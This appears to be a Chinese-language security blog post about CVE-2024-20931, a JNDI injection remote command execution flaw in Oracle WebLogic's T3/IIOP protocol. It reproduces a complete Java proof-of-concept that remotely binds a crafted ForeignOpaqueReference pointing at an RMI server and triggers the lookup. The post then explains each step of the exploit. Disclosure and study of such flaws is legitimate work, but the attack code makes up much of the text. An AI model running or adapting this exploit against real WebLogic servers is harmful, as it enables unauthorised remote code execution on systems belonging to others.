在Oracle官方最新发布的2024年1月补丁中,成功修复了一个基于Weblogic T3\IIOP协议的远程命令执行漏洞CVE-2024-20931。此漏洞在2023年10月向Oracle报告的,本质上是CVE-2023-21839补丁的一种绕过,牵涉到一个新的JNDI攻击面。

CVE-2024-20931漏洞概述:
在WebLogic中存在一个名为ForeignOpaqueReference的对象,其getReferent函数在远程对象查询时再次发起JNDI查询,导致了JNDI注入。
目前已经公布了一个POC:
https://github.com/GlassyAmadeus/CVE-2024-20931/blob/main/CVE_2024_20931.java
package com.supeream; import weblogic.deployment.jms.ForeignOpaqueReference; import javax.naming.Context; import javax.naming.InitialContext; import java.lang.reflect.Field; import java.util.Hashtable; public class CVE_2024_209321 { public static void main(String[] args) throws Exception { String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory"; // 创建用来远程绑定对象的InitialContext String url = "t3://127.0.0.1:7001"; // 目标机器 Hashtable env1 = new Hashtable(); env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env1.put(Context.PROVIDER_URL, url); // 目标 InitialContext c = new InitialContext(env1); // ForeignOpaqueReference的jndiEnvironment属性 Hashtable env2 = new Hashtable(); env2.put("java.naming.factory.initial", "oracle.jms.AQjmsInitialContextFactory"); env2.put("datasource", "rmi://127.0.0.1:1099/ygevmj"); // ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性 ForeignOpaqueReference f = new ForeignOpaqueReference(); Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment"); jndiEnvironment.setAccessible(true); jndiEnvironment.set(f, env2); Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName"); remoteJNDIName.setAccessible(true); String ldap = "rmi://127.0.0.1:1099/ygevmj"; remoteJNDIName.set(f, ldap); // 远程绑定ForeignOpaqueReference对象 c.rebind("glassy", f); // lookup查询ForeignOpaqueReference对象 try { c.lookup("glassy"); } catch (Exception e) { } } }
-
引入了weblogic.deployment.jms.ForeignOpaqueReference类,该类是利用CVE-2024-20931漏洞的关键部分,用于进行JNDI注入。
-
创建了一个InitialContext对象,用于远程绑定对象。
-
设置了ForeignOpaqueReference的jndiEnvironment属性,其中包含了用于JNDI注入的关键设置,如java.naming.factory.initial和datasource。
-
设置了ForeignOpaqueReference的remoteJNDIName属性,指定了RMI服务的位置。
-
使用InitialContext对象的rebind方法将构造的ForeignOpaqueReference对象远程绑定到WebLogic服务器上。
-
尝试使用lookup方法查询远程绑定的ForeignOpaqueReference对象,触发JNDI注入。
参考下面文章:
2634





